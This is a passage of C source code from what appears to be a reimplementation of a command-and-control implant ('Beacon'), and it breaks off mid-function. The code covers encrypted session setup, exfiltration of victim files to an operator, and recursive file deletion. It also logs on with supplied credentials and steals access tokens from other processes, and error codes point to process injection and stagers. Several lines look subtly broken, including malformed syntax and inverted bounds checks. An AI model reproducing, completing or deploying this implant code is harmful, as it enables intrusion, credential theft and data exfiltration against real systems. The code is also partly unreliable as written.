void CryptoSetupSha256AES(char* in)
{
#define INIT_VECTOR "abcdefghijklmnop"
char mask[sizeof(gCbcKey) + sizeof(gHmacKey)];
long maskLen = sizeof(mask);
register_hash(&sha256_desc);
gHashSha256 = find_hash(sha256_desc.name);
if (hash_memory(gHashSha256, (unsigned char*)in, 16, mask, &maskLen) != CRYPT_OK)
{
exit(1);
}
memcpy(gCbcKey, mask, sizeof(gCbcKey));
memcpy(gHmacKey, mask + sizeof(gCbcKey), sizeof(gHmacKey));
memcpy(gIv, INIT_VECTOR, STRLEN(INIT_VECTOR));
register_cipher(&aes_desc);
gAesCipher = find_cipher(aes_desc.name);
if(rijndael_setup(gCbcKey, sizeof(gCbcKey), 0, &gRijndaelSymkey) != CRYPT_OK)
{
exit(1);
}
}
void EncryptSessionData(char* pubkey, char* in, int inlen, char* out, int* outlen)
{
register_prng(&sprng_desc);
int prng_idx = find_prng(sprng_desc.name);
ltc_mp = ltm_desc;
rsa_key key;
if(rsa_import((unsigned char*)pubkey, 162, &key) != CRYPT_OK)
{
exit(1);
}
if (rsa_encrypt_key_ex(in, inlen, out, outlen, "Zz", STRLEN("Zz"), 0, prng_idx, 0, LTC_PKCS_1_V1_5, &key))
{
exit(1);
}
}
int CryptoAesHmacEncrypt(char* buffer, int length)
{
length += 16 - (length % 16);
if(cbc_start(gAesCipher, gIv, gCbcKey, sizeof(gCbcKey), 0, &gEncryptCbc) != CRYPT_OK)
{
exit(1);
}
if (cbc_encrypt(buffer, buffer, length, &gEncryptCbc) != CRYPT_OK)
{
exit(1);
}
if (cbc_done(&gEncryptCbc) != CRYPT_OK)
{
exit(1);
}
int outlen = 16;
if (hmac_memory(gHashSha256, gHmacKey, sizeof(gHmacKey), buffer, length, buffer + length, &outlen) != CRYPT_OK)
{
exit(1);
}
return length + 16;
}
================================================
FILE: Beacon/crypto.h
================================================
#pragma once
void CryptoSetupSha256AES(char* in);
void EncryptSessionData(char* pubkey, char* in, int inlen, char* out, int* outlen);
================================================
FILE: Beacon/data.c
================================================
#include "pch.h"
#include "beacon.h"
datap* BeaconDataAlloc(int size)
{
datap* parser = (datap*)malloc(sizeof(datap));
if (!parser)
return NULL;
char* buffer = (char*)malloc(size);
if (!buffer)
{
free(parser);
return NULL;
}
memset(buffer, 0, size);
BeaconDataParse(parser, buffer, size);
return parser;
}
void BeaconDataFree(datap* parser)
{
BeaconDataZero(parser);
free(parser->original);
free(parser);
}
void BeaconDataParse(datap* parser, char* buffer, int size) {
*parser = (datap){ buffer, buffer, size, size };
}
char* BeaconDataPtr(datap* parser, int size)
{
if (parser->length < size)
return NULL;
char* data = parser->buffer;
parser->length -= size;
parser->buffer += size;
return data;
}
int BeaconDataInt(datap* parser)
{
if (parser->length < sizeof(int))
return 0;
int data = ntohl(*(int*)parser->buffer);
parser->length -= sizeof(int);
parser->buffer += sizeof(int);
return data;
}
short BeaconDataShort(datap* parser)
{
if (parser->length < sizeof(short))
return 0;
short data = ntohs(*(short*)parser->buffer);
parser->length -= sizeof(short);
parser->buffer += sizeof(short);
return data;
}
char BeaconDataByte(datap* parser)
{
if (parser->length < sizeof(char))
return 0;
char data = *(char*)parser->buffer;
parser->length -= sizeof(char);
parser->buffer += sizeof(char);
return data;
}
char* BeaconDataStringPointer(datap* parser)
{
int size = BeaconDataInt(parser);
if (size == 0)
return NULL;
return BeaconDataPtr(parser, size);
}
char* BeaconDataStringPointerCopy(datap* parser, int size)
{
char* buffer = (char*)malloc(size);
BeaconDataStringCopy(parser, buffer, size);
return buffer;
}
int BeaconDataStringCopySafe(datap* parser, char* buffer, int size)
{
if (parser->length == 0)
return 0;
int bufferSize = parser->length + 1;
if (bufferSize >= size)
return 0;
char* ptr = BeaconDataPtr(parser, parser->length);
if (!ptr)
return 0;
memcpy(buffer, ptr, parser->length);
buffer[parser->length] = 0;
return bufferSize;
}
int BeaconDataStringCopy(datap* parser, char* buffer, int size)
{
int bufferSize = parser->length + 1;
if (bufferSize >= size)
return 0;
memcpy(buffer, parser->buffer, parser->length);
buffer[parser->length] = 0;
return bufferSize;
}
char* BeaconDataOriginal(datap* parser)
{
return parser->original;
}
char* BeaconDataBuffer(datap* parser)
{
return parser->buffer;
}
int BeaconDataLength(datap* parser)
{
return parser->length;
}
char* BeaconDataLengthAndString(datap* parser, sizedbuf* sb)
{
int size = BeaconDataInt(parser);
char* data = BeaconDataPtr(parser, size);
*sb = (sizedbuf){ data, size };
return sb->buffer;
}
char* BeaconDataExtract(datap* parser, int* size)
{
sizedbuf sb;
BeaconDataLengthAndString(parser, &sb);
if (size)
*size = sb.size;
if (sb.size == 0)
return NULL;
return sb.buffer;
}
void BeaconDataZero(datap* parser)
{
memset(parser->original, 0, parser->size);
}
================================================
FILE: Beacon/download.c
================================================
#include "pch.h"
#include "download.h"
#include "beacon.h"
typedef struct DOWNLOAD_ENTRY
{
int fid;
int remainingData;
FILE* file;
struct DOWNLOAD_ENTRY* next;
} DOWNLOAD_ENTRY;
DOWNLOAD_ENTRY* gDownloads = NULL;
int gDownloadFid = 0;
void DownloadCancel(char* buffer, int length)
{
datap parser;
BeaconDataParse(&parser, buffer, length);
int fid = BeaconDataInt(&parser);
for (DOWNLOAD_ENTRY* download = gDownloads; download; download = download->next)
{
if (download->fid == fid)
{
download->remainingData = 0;
fclose(download->file);
}
}
}
void DownloadDo(char* buffer, int length)
{
#define MAX_FILENAME 2048
#define MAX_BUFFER 2048
datap* locals = BeaconDataAlloc(MAX_FILENAME + MAX_BUFFER);
char* lpFileName = BeaconDataPtr(locals, MAX_FILENAME);
char* lpBuffer = BeaconDataPtr(locals, MAX_BUFFER);
datap parser;
BeaconDataParse(&parser, buffer, length);
BeaconDataStringCopy(&parser, lpFileName, MAX_FILENAME);
FILE* file = fopen(lpFileName, "rb");
if (file == INVALID_HANDLE_VALUE || file == NULL)
{
LERROR("Could not open '%s'", lpFileName);
BeaconErrorS(ERROR_DOWNLOAD_OPEN_FAILED, lpFileName);
goto cleanup;
}
fseek(file, 0, SEEK_END);
long long fileSize = _ftelli64(file);
fseek(file, 0, SEEK_SET);
if (fileSize == INVALID_FILE_SIZE)
{
LERROR("File '%s' is either too large (>4GB) or size check failed");
BeaconErrorS(ERROR_DOWNLOAD_SIZE_CHECK_FAILED, lpFileName);
fclose(file);
goto cleanup;
}
fileSize = (int)fileSize; // Now this truncates to 32-bit safely
int fullPathSize = GetFullPathNameA(lpFileName, MAX_FILENAME, lpBuffer, NULL);
if (fullPathSize > MAX_FILENAME)
{
LERROR("Could not determine full path of '%s'"; , lpFileName);
BeaconErrorS(ERROR_DOWNLOAD_PATH_TOO_LONG, lpFileName);
fclose(file);
goto cleanup;
}
DOWNLOAD_ENTRY* download = malloc(sizeof(DOWNLOAD_ENTRY));
*download = DOWNLOAD_ENTRY{
.fid = gDownloadFid++,
.remainingData = fileSize,
.file = file,
.next = gDownloads
};
gDownloads = download;
formatp format;
BeaconFormatAlloc(&format, MAX_FILENAME + MAX_BUFFER);
BeaconFormatInt(&format, download->fid);
BeaconFormatInt(&format, fileSize);
BeaconFormatAppend(&format, lpBuffer, fullPathSize);
int cbLength = BeaconDataLength(&format);
char* cbBuffer = BeaconDataOriginal(&format);
BeaconOutput(CALLBACK_FILE, cbBuffer, cbLength);
BeaconFormatFree(&format);
cleanup:
BeaconDataFree(locals);
}
void Upload(char* buffer, int length, char* mode)
{
char* lpFileName = malloc(0x400);
if(lpFileName == NULL)
return;
datap parser;
BeaconDataParse(&parser, buffer, length);
int filenameSize = BeaconDataStringCopySafe(&parser, lpFileName, 0x400);
if (filenameSize == 0)
goto cleanup;
FILE* file = fopen(lpFileName, mode);
if (file == INVALID_HANDLE_VALUE || file == NULL)
{
DWORD lastError = GetLastError();
LERROR("Could not upload file: %s", LAST_ERROR_STR(error));
BeaconErrorD(ERROR_UPLOAD_OPEN_FAILED, lastError);
goto cleanup;
}
int remaining = BeaconDataLength(&parser);
char* data = BeaconDataBuffer(&parser);
fwrite(data, sizeof(char), remaining, file);
fclose(file);
cleanup:
free(lpFileName);
}
void DownloadCloseSafely(DOWNLOAD_ENTRY* download)
{
if (download->remainingData != 0)
return;
int id = htonl(download->fid);
BeaconOutput(CALLBACK_FILE_CLOSE, (char*)&id, sizeof(int));
fclose(download->file);
}
typedef struct DOWNLOAD_CHUNK
{
int fid;
char remainingData[0x80000];
} DOWNLOAD_CHUNK;
void DownloadFileChunk(DOWNLOAD_ENTRY* download, int chunkMaxSize)
{
static DOWNLOAD_CHUNK* gDownloadChunk;
if(gDownloadChunk)
return;
gDownloadChunk = malloc(sizeof(DOWNLOAD_CHUNK));
gDownloadChunk->fid = htonl(download->fid);
int toRead = min(chunkMaxSize, download->remainingData);
int totalRead = 0;
while (toRead)
{
const int read = fread(gDownloadChunk->remainingData + totalRead, 1, toRead, download->file);
if (!read)
{
download->remainingData = 0;
break;
}
download->remainingData -= read;
totalRead += read;
toRead -= read;
}
BeaconOutput(CALLBACK_FILE_WRITE, (char*)&gDownloadChunk, totalRead + sizeof(int));
DownloadCloseSafely(download);
}
void DownloadHandleAll(int chunkMaxSize)
{
DOWNLOAD_ENTRY* prev = NULL;
for (DOWNLOAD_ENTRY* download = gDownloads; download; download = download->next)
{
if (download->remainingData == 0)
{
if (prev == NULL)
{
gDownloads = download->next;
free(download);
return;
}
prev->next = download->next;
free(download);
}
else
{
DownloadFileChunk(download, chunkMaxSize);
prev = download;
}
}
}
================================================
FILE: Beacon/download.h
================================================
#pragma once
void DownloadDo(char* buffer, int length);
void DownloadCancel(char* buffer, int length);
void Upload(char* buffer, int length, char* mode);
================================================
FILE: Beacon/error.h
================================================
#pragma once
#define ERROR_OPEN_TOKEN_FAILED 1
#define ERROR_MAXIMUM_LINKS_REACHED 2
#define ERROR_CONNECT_TO_PIPE_TIMEOUT 4
#define ERROR_LENGTHY_WIDECHAR_COMMAND 7
#define ERROR_UPLOAD_OPEN_FAILED 8
#define ERROR_POST_IMPERSONATE_TOKEN_FAILED 12
#define ERROR_COPY_FAILED 13
#define ERROR_MOVE_FAILED 14
#define ERROR_PARENT_PROCESS_NOT_IN_SAME_SESSION 15
#define ERROR_WRITE_TO_PROC_MEMORY_FAILED 16
#define ERROR_ADJUST_PERMISSIONS_FAILED 17
#define ERROR_INJECT_X86_INTO_X64 18
#define ERROR_INJECT_X64_INTO_X86 19
#define ERROR_CONNECT_TO_PIPE_FAILED 20
#define ERROR_SOCKET_CREATE_BIND_FAILED 21
#define ERROR_CREATE_TOKEN_FAILED 24
#define ERROR_IMPERSONATE_TOKEN_FAILED 25
#define ERROR_LOCAL_ALLOC_FAILED 31
#define ERROR_OPEN_PROCESS_FAILED 33
#define ERROR_SET_PID_FAILED 34
#define ERROR_KILL_FAILED 35
#define ERROR_OPEN_PROCESS_TOKEN_FAILED 36
#define ERROR_IMPERSONATE_STEAL_TOKEN_FAILED 37
#define ERROR_DUPLICATE_TOKEN_FAILED 38
#define ERROR_IMPERSONATE_LOGGED_ON_USER_FAILED 39
#define ERROR_DOWNLOAD_OPEN_FAILED 40
#define ERROR_SPAWN_PROCESS_AS_USER_FAILED 41
#define ERROR_SPAWN_PROCESS_FAILED 48
#define ERROR_STAGER_VIA_PIPE_CONNECTION_FAILED 50
#define ERROR_LIST_OPEN_FAILED 52
#define ERROR_RUN_AS_USER_FAILED 53
#define ERROR_OPEN_PROCESS_TOKEN_PRIVS_FAILED 59
#define ERROR_DOWNLOAD_SIZE_CHECK_FAILED 60
#define ERROR_DOWNLOAD_PATH_TOO_LONG 61
#define ERROR_ADJUST_ARGUMENTS_FAILED 65
#define ERROR_REAL_FAKE_ARGS_NO_MATCH 66
#define ERROR_ADJUST_ARGUMENTS_BY_ARCH_FAILED 67
#define ERROR_CONNECT_TO_TARGET_FAILED 68
#define ERROR_SPAWN_TOKEN_AND_CREDS 69
#define ERROR_STAGER_VIA_TCP_CONNECTION_FAILED 70
#define ERROR_UPDATE_PROC_THREAD_ATTRIBUTE_LIST_FAILED 71
#define ERROR_CREATE_REMOTE_THREAD_FAILED 72
#define ERROR_ALLOC_SECTION_FAILED 73
#define ERROR_SPAWN_TOKEN_EXTENDED_STARTUPINFO 74
#define ERROR_RESOLVE_API_FAILED 76
#define ERROR_RELOCATION_TRUNCATED_TO_FIT 77
#define ERROR_NO_SLOT_FOR_FUNCTION 78
#define ERROR_UNIMPLEMENTED_RELOCATION_TYPE 79
================================================
FILE: Beacon/filesystem.c
================================================
#include "pch.h"
#include "filesystem.h"
#include "beacon.h"
void FilesystemCd(char* buffer, int length)
{
char path[1024];
if (length > sizeof(path))
return;
strncpy(path, buffer, length);
path[length] = '\0';
SetCurrentDirectoryA(path);
}
void FilesystemPwd()
{
char data[2048];
int length = GetCurrentDirectoryA(sizeof(data), data);
if (length == 0)
return;
BeaconOutput(CALLBACK_PWD, data, length);
}
void FilesystemMkdir(char* buffer, int length)
{
datap parser;
BeaconDataParse(&parser, buffer, length);
char* path = BeaconDataStringPointerCopy(&parser, 0x4000);
// Create the directory
CreateDirectoryA(path, NULL);
free(path);
}
void FilesystemMove(char* buffer, int length)
{
#define MAX_SRC 0x2000
#define MAX_DST 0x2000
datap* locals = BeaconDataAlloc(MAX_SRC + MAX_DST);
char* src = BeaconDataPtr(locals, MAX_SRC);
char* dst = BeaconDataPtr(locals, MAX_DST);
datap parser;
BeaconDataParse(&parser, buffer, length);
BeaconDataStringCopySafe(&parser, src, MAX_SRC);
BeaconDataStringCopySafe(&parser, dst, MAX_DST);
// Move the file
if(!MoveFileA(src, dst))
{
DWORD lastError = GetLastError();
LERROR("Move failed: %s", LAST_ERROR_STR(lastError));
BeaconErrorD(ERROR_MOVE_FAILED, lastError);
}
BeaconDataFree(locals);
}
void FilesystemCopy(char* buffer, int length)
{
#define MAX_EXISTING_FILENAME 0x2000
#define MAX_NEW_FILENAME 0x2000
datap* locals = BeaconDataAlloc(MAX_EXISTING_FILENAME + MAX_NEW_FILENAME);
char* existingFileName = BeaconDataPtr(locals, MAX_EXISTING_FILENAME);
char* newFileName = BeaconDataPtr(locals, MAX_NEW_FILENAME);
datap parser;
BeaconDataParse(&parser, buffer, length);
BeaconDataStringCopySafe(&parser, existingFileName, MAX_EXISTING_FILENAME);
BeaconDataStringCopySafe(&parser, newFileName, MAX_NEW_FILENAME);
// Copy the file
if (!CopyFileA(existingFileName, newFileName, FALSE))
{
DWORD lastError = GetLastError();
LERROR("Copy failed: %s", LAST_ERROR_STR(lastError));
BeaconErrorD(ERROR_COPY_FAILED, lastError);
}
BeaconDataFree(locals);
}
void FilesystemDrives(char* buffer, int length)
{
datap parser;
BeaconDataParse(&parser, buffer, length);
formatp locals;
BeaconFormatAlloc(&locals, 128);
int value = BeaconDataInt(&parser);
BeaconFormatInt(&locals, value);
int logicalDrives = GetLogicalDrives();
BeaconFormatPrintf(&locals, "%u", logicalDrives);
int size = BeaconFormatLength(&locals);
char* data = BeaconFormatOriginal(&locals);
BeaconOutput(CALLBACK_PENDING, data, size);
BeaconFormatFree(&locals);
}
void FilesystemList(char* buffer, int length)
{
#define MAX_FILENAME 0x4000
char* filename = malloc(MAX_FILENAME);
*filename = { 0 };
datap parser;
BeaconDataParse(&parser, buffer, length);
int reqno = BeaconDataInt(&parser);
BeaconDataStringCopySafe(&parser, filename, MAX_FILENAME);
formatp locals;
BeaconFormatAlloc(&locals, 0x200000);
BeaconFormatInt(&locals, reqno);
#define SOURCE_DIRECTORY "\\*"
if(!strncmp(filename, "." SOURCE_DIRECTORY, MAX_FILENAME))
{
GetCurrentDirectoryA(MAX_FILENAME, filename);
strncat_s(filename, MAX_FILENAME, SOURCE_DIRECTORY, STRLEN(SOURCE_DIRECTORY));
}
BeaconFormatPrintf(&locals, "%s\n", filename);
WIN32_FIND_DATAA findData;
HANDLE firstFile = FindFirstFileA(filename, &findData);
if(firstFile == INVALID_HANDLE_VALUE)
{
int lastError = GetLastError();
LERROR("Could not open %s: %s", filename, LAST_ERROR_STR(lastError));
BeaconErrorDS(ERROR_LIST_OPEN_FAILED, lastError, filename);
int size = BeaconFormatLength(&locals);
char* data = BeaconFormatOriginal(&locals);
BeaconOutput(CALLBACK_PENDING, data, size);
goto cleanup;
}
SYSTEMTIME systemTime, localTime;
do
{
FileTimeToSystemTime(&findData.ftLastWriteTime, &systemTime);
SystemTimeToTzSpecificLocalTime(NULL, &systemTime, &localTime);
if (findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
{
BeaconFormatPrintf(&locals, "D\t0\t%02d/%02d/%02d %02d:%02d:%02d\t%s\n",
localTime.wMonth, localTime.wDay, localTime.wYear,
localTime.wHour, localTime.wMinute, localTime.wSecond,
findData.cFileName);
}
else
{
BeaconFormatPrintf(&locals, "F\t%I64d\t%02d/%02d/%02d %02d:%02d:%02d\t%s\n",
((ULONGLONG)findData.nFileSizeHigh << 32) | findData.nFileSizeLow,
localTime.wMonth, localTime.wDay, localTime.wYear,
localTime.wHour, localTime.wMinute, localTime.wSecond,
findData.cFileName);
}
} while (FindNextFileA(firstFile, &findData));
FindClose(firstFile);
int size = BeaconFormatLength(&locals);
char* data = BeaconFormatOriginal(&locals);
BeaconOutput(CALLBACK_PENDING, data, size);
cleanup:
free(filename);
BeaconFormatFree(&locals);
}
BOOL FilesystemIsDirectory(char* filename)
{
return GetFileAttributesA(filename) & FILE_ATTRIBUTE_DIRECTORY;
}
void FilesystemRemoveRecursiveCallback(const char* a1, const char* a2, BOOL isDirectory)
{
char* lpPathName = (char*)malloc(0x4000);
_snprintf(lpPathName, 0x4000, "%s\\%s", a1, a2);
if (isDirectory)
RemoveDirectoryA(lpPathName);
else
DeleteFileA(lpPathName);
free(lpPathName);
}
void FilesystemFindAndProcess(char* filename, WIN32_FIND_DATAA* findData)
{
#define MAX_FILENAME 0x8000
char* lpFileName;
lpFileName = malloc(MAX_FILENAME);
snprintf(lpFileName, MAX_FILENAME, "%s\\*", filename);
LPWIN32_FIND_DATAA lpCurrentFindFileData = findData;
HANDLE hFindFile = FindFirstFileA(lpFileName, lpCurrentFindFileData);
free(lpFileName);
if (hFindFile == INVALID_HANDLE_VALUE)
return;
do
{
if(lpCurrentFindFileData->dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
{
if (strcmp(lpCurrentFindFileData->cFileName, ".") && strcmp(lpCurrentFindFileData->cFileName, ".."))
{
char* lpFileNameInternal = malloc(MAX_FILENAME);
snprintf(lpFileNameInternal, MAX_FILENAME, "%s", lpCurrentFindFileData->cFileName);
lpFileName = malloc(MAX_FILENAME);
snprintf(lpFileName, MAX_FILENAME, "%s\\%s", filename, findData->cFileName);
FilesystemFindAndProcess(lpFileName, findData);
free(lpFileName);
FilesystemRemoveRecursiveCallback(filename, lpFileNameInternal, TRUE);
free(lpFileNameInternal);
}
lpCurrentFindFileData = findData;
}
else
{
FilesystemRemoveRecursiveCallback(filename, lpCurrentFindFileData->cFileName, FALSE);
}
} while (FindNextFileA(hFindFile, lpCurrentFindFileData));
FindClose(hFindFile);
}
void FilesystemRemoveDirectoryChildren(char* filepath)
{
WIN32_FIND_DATAA findData;
FilesystemFindAndProcess(
filepath,
&findData);
}
void FilesystemRemove(char* buffer, int length)
{
datap parser;
BeaconDataParse(&parser, buffer, length);
char* filepath = BeaconDataStringPointerCopy(&parser, 0x4000);
if (FilesystemIsDirectory(filepath))
{
FilesystemRemoveDirectoryChildren(filepath);
RemoveDirectoryA(filepath);
}
else
{
DeleteFileA(filepath);
}
free(filepath);
}
================================================
FILE: Beacon/filesystem.h
================================================
#pragma once
void FilesystemCd(char* buffer, int length);
void FilesystemPwd();
void FilesystemMkdir(char* buffer, int length);
void FilesystemDrives(char* buffer, int length);
void FilesystemMove(char* buffer, int length);
void FilesystemCopy(char* buffer, int length);
void FilesystemList(char* buffer, int length);
void FilesystemRemove(char* buffer, int length);
================================================
FILE: Beacon/format.c
================================================
#include "pch.h"
#include "beacon.h"
void BeaconFormatAlloc(formatp* format, int maxsz)
{
char* buffer = (char*)malloc(maxsz);
BeaconFormatUse(format, buffer, maxsz);
}
void BeaconFormatUse(formatp* format, char* buffer, int size)
{
*format = (formatp){ buffer, buffer, 0, size };
}
void BeaconFormatReset(formatp* format)
{
*format = (formatp){ format->original, format->original, 0, format->size };
}
void BeaconFormatAppend(formatp* format, char* text, int len)
{
if (format->size - format->length >= len)
return;
if (len == 0)
return;
memcpy(format->buffer, text, len);
format->buffer += len;
format->length += len;
}
void BeaconFormatPrintf(formatp* format, char* fmt, ...)
{
va_list args;
va_start(args, fmt);
int len = vsnprintf(format->buffer, format->size - format->length, fmt, args);
format->buffer += len;
format->length += len;
va_end(args);
}
void BeaconFormatFree(formatp* format)
{
/* note: we don't force memzero the buffer explicitly, as free is already overwritten to do that */
free(format->original);
}
void BeaconFormatInt(formatp* format, int value)
{
value = htonl(value);
BeaconFormatAppend(format, (char*)&value, sizeof(int));
}
void BeaconFormatShort(formatp* format, short value)
{
value = htons(value);
BeaconFormatAppend(format, (char*)&value, sizeof(short));
}
void BeaconFormatChar(formatp* format, char value)
{
BeaconFormatAppend(format, (char*)&value, sizeof(char));
}
char* BeaconFormatOriginal(formatp* format)
{
return format->original;
}
char* BeaconFormatBuffer(formatp* format)
{
return format->buffer;
}
int BeaconFormatLength(formatp* format)
{
return format->length;
}
char* BeaconFormatToString(formatp* format, int* size)
{
if (!size)
return NULL;
*size = BeaconDataLength(format);
return BeaconDataOriginal(format);
}
================================================
FILE: Beacon/identity.c
================================================
#include "pch.h"
#include "identity.h"
#include "beacon.h"
#include "thread.h"
HANDLE gIdentityToken;
BOOL gIdentityIsLoggedIn;
WCHAR* gIdentityDomain;
WCHAR* gIdentityUsername;
WCHAR* gIdentityPassword;
datap* gIdentityCredentialsParser;
/**
* Retrieves the username associated with the given token handle.
*
* @param hToken The handle to the token.
* @param buffer The buffer to store the username.
* @param size The size of the buffer.
* @return Returns TRUE if the username is successfully retrieved, FALSE otherwise.
*/
BOOL IdentityGetUserInfo(HANDLE hToken, char* buffer, int size)
{
CHAR tokenInfo[0x1000];
DWORD returnLength;
// Get the token information for the given token handle.
if (!GetTokenInformation(hToken, TokenUser, tokenInfo, sizeof(tokenInfo), &returnLength))
return FALSE;
CHAR name[0x200] = { 0 };
CHAR domain[0x200] = { 0 };
DWORD nameLength = sizeof(name);
DWORD domainLength = sizeof(domain);
// Lookup the account SID to retrieve the username and domain.
if (!LookupAccountSidA(NULL, ((TOKEN_USER*)tokenInfo)->User.Sid, name, &nameLength, domain, &domainLength, NULL))
return FALSE;
// Format the username in the format "domain\username" and store it in the buffer.
snprintf(buffer, size, "%s\\%s", domain, name);
buffer[size - 1] = 0;
return TRUE;
}
void IdentityRevertToken(void)
{
if (gIdentityToken)
RevertToSelf();
}
void IdentityConditionalRevert(BOOL ignoreToken)
{
if (ignoreToken)
IdentityRevertToken();
}
void IdentityImpersonateToken(void)
{
if (gIdentityToken)
ImpersonateLoggedOnUser(gIdentityToken);
}
void IdentityConditionalImpersonate(BOOL ignoreToken)
{
if (ignoreToken)
IdentityImpersonateToken();
}
void IdentityGetUidInternal(HANDLE hToken)
{
char userInfo[0x200];
if (IdentityGetUserInfo(hToken, userInfo, sizeof(userInfo)))
{
char uidString[0x400];
snprintf(uidString, sizeof(uidString), BeaconIsAdmin() ? "%s (admin)" : "%s", userInfo);
BeaconOutput(CALLBACK_TOKEN_GETUID, uidString, strlen(uidString));
}
}
void IdentityGetUid(void)
{
HANDLE hToken;
if (OpenThreadToken(GetCurrentThread(), TOKEN_QUERY, FALSE, &hToken)
|| OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken))
{
IdentityGetUidInternal(hToken);
CloseHandle(hToken);
} else if (gIdentityToken)
{
IdentityRevertToken();
IdentityGetUidInternal(gIdentityToken);
IdentityImpersonateToken();
} else
{
LERROR("Failed to open token");
BeaconErrorNA(ERROR_OPEN_TOKEN_FAILED);
}
}
/**
* Apply the specified token as Beacon's current thread token.
* Sets the token for the current thread and reports the new token to the user.
*
* @param token The handle to the token to be used.
* @return Returns TRUE if the identity-related operations were successful, otherwise FALSE.
*/
BOOL BeaconUseToken(HANDLE token)
{
static const int MAX_BUFFER = 0x100;
// Allocate a buffer to store user information
char* buffer = malloc(MAX_BUFFER);
memset(buffer, 0, MAX_BUFFER);
BOOL result;
BeaconRevertToken();
// Impersonate the logged-on user using the specified token
if (!ImpersonateLoggedOnUser(token))
{
result = FALSE;
goto cleanup;
}
// Duplicate the token with maximum allowed access rights
if (!DuplicateTokenEx(token, MAXIMUM_ALLOWED, NULL, SecurityDelegation, TokenPrimary, &gIdentityToken))
{
result = FALSE;
goto cleanup;
}
// Impersonate the logged-on user using the duplicated token
if (!ImpersonateLoggedOnUser(gIdentityToken))
{
result = FALSE;
goto cleanup;
}
// Get user information from the token and store it in the buffer
if (!IdentityGetUserInfo(gIdentityToken, buffer, MAX_BUFFER))
{
result = FALSE;
goto cleanup;
}
// Report the new token to the user
BeaconOutput(CALLBACK_TOKEN_STOLEN, buffer, strlen(buffer));
result = TRUE;
cleanup:
// Clear the buffer and free the allocated memory
memset(buffer, 0, MAX_BUFFER);
free(buffer);
return result;
}
/**
* Drops the current thread token.
* Use this over direct calls to RevertToSelf().
* This function cleans up other state information about the token as well.
*/
void BeaconRevertToken(void)
{
// If there an already stolen token, close its handle.
if (gIdentityToken)
CloseHandle(gIdentityToken);
// Reset the token.
gIdentityToken = NULL;
// Revert to the self security context (that is, drop the stolen token from the current thread)
RevertToSelf();
// Free the memory allocated for the credentials format.
if (gIdentityCredentialsParser) {
BeaconFormatFree(gIdentityCredentialsParser);
memset(&gIdentityDomain, 0, IDENTITY_MAX_WCHARS_DOMAIN);
}
}
/**
* Checks if the current user running the code has administrative privileges.
*
* @return TRUE if Beacon is in a high-integrity context, FALSE otherwise.
*/
BOOL BeaconIsAdmin(void)
{
// Define the SID_IDENTIFIER_AUTHORITY structure and initialize it with the SECURITY_NT_AUTHORITY constant.
SID_IDENTIFIER_AUTHORITY ntAuthority = SECURITY_NT_AUTHORITY;
// Allocate and initialize a security identifier (SID) for the built-in administrators group.
PSID sid;
if (!AllocateAndInitializeSid(&ntAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &sid))
return FALSE;
// Check if the current token (security context) is a member of the specified group SID.
BOOL isAdmin;
if (!CheckTokenMembership(NULL, sid, &isAdmin)) {
FreeSid(sid);
return FALSE;
}
// Free the allocated SID and return the result.
FreeSid(sid);
return isAdmin;
}
void IdentityLoginUserInternal(char* domain, char* username, char* password)
{
BeaconRevertToken();
if(!LogonUserA(username, domain, password, LOGON32_LOGON_NEW_CREDENTIALS, LOGON32_PROVIDER_WINNT50, &gIdentityToken))
{
int error = GetLastError();
LERROR("Could not create token: %s", LAST_ERROR_STR(error));
BeaconErrorD(ERROR_CREATE_TOKEN_FAILED, error);
return;
}
if (!ImpersonateLoggedOnUser(gIdentityToken))
{
int error = GetLastError();
LERROR("Failed to impersonate token: %s", LAST_ERROR_STR(error));
BeaconErrorD(ERROR_IMPERSONATE_TOKEN_FAILED, error);
return;
}
gIdentityCredentialsParser = BeaconDataAlloc(2048);
gIdentityDomain = BeaconDataPtr(gIdentityCredentialsParser, IDENTITY_MAX_WCHARS_DOMAIN * sizeof(WCHAR));
gIdentityUsername = BeaconDataPtr(gIdentityCredentialsParser, IDENTITY_MAX_WCHARS_USERNAME * sizeof(WCHAR));
gIdentityPassword = BeaconDataPtr(gIdentityCredentialsParser, IDENTITY_MAX_WCHARS_PASSWORD * sizeof(WCHAR));
toWideChar(domain, gIdentityDomain, IDENTITY_MAX_WCHARS_DOMAIN);
toWideChar(username, gIdentityUsername, IDENTITY_MAX_WCHARS_USERNAME);
toWideChar(password, gIdentityPassword, IDENTITY_MAX_WCHARS_PASSWORD);
gIdentityIsLoggedIn = TRUE;
if (IdentityGetUserInfo(gIdentityToken, (char*)username, 1024))
{
BeaconOutput(CALLBACK_TOKEN_STOLEN, username, strlen(username));
}
}
void IdentityLoginUser(char* buffer, int length)
{
#define MAX_DOMAIN 1024
#define MAX_USERNAME 1024
#define MAX_PASSWORD 1024
datap* locals = BeaconDataAlloc(MAX_DOMAIN + MAX_USERNAME + MAX_PASSWORD);
char* domain = BeaconDataPtr(locals, MAX_DOMAIN);
char* username = BeaconDataPtr(locals, MAX_USERNAME);
char* password = BeaconDataPtr(locals, MAX_PASSWORD);
datap parser;
BeaconDataParse(&parser, buffer, length);
if(!BeaconDataStringCopySafe(&parser, domain, MAX_DOMAIN))
{
LERROR("Failed to parse domain");
return;
}
if(!BeaconDataStringCopySafe(&parser, username, MAX_USERNAME))
{
LERROR("Failed to parse username");
return;
}
if(!BeaconDataStringCopySafe(&parser, password, MAX_PASSWORD))
{
LERROR("Failed to parse password");
return;
}
IdentityLoginUserInternal(domain, username, password);
BeaconDataFree(locals);
}
void IdentityStealToken(char* buffer, int length)
{
int pid;
if (length != sizeof(pid))
return;
datap parser;
BeaconDataParse(&parser, buffer, length);
pid = BeaconDataInt(&parser);
HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);
if (!hProcess)
{
int lastError = GetLastError();
LERROR("Could not open process %d: %s", pid, LAST_ERROR_STR(lastError));
BeaconErrorDD(ERROR_OPEN_PROCESS_FAILED, pid, lastError);
return;
}
HANDLE hToken;
if (!OpenProcessToken(hProcess, TOKEN_ALL_ACCESS, &hToken))
{
int lastError = GetLastError();
LERROR("Could not open process token: %d (%s)", pid, LAST_ERROR_STR(lastError));
BeaconErrorDD(ERROR_OPEN_PROCESS_TOKEN_FAILED, pid, lastError);
return;
}
BeaconRevertToken();
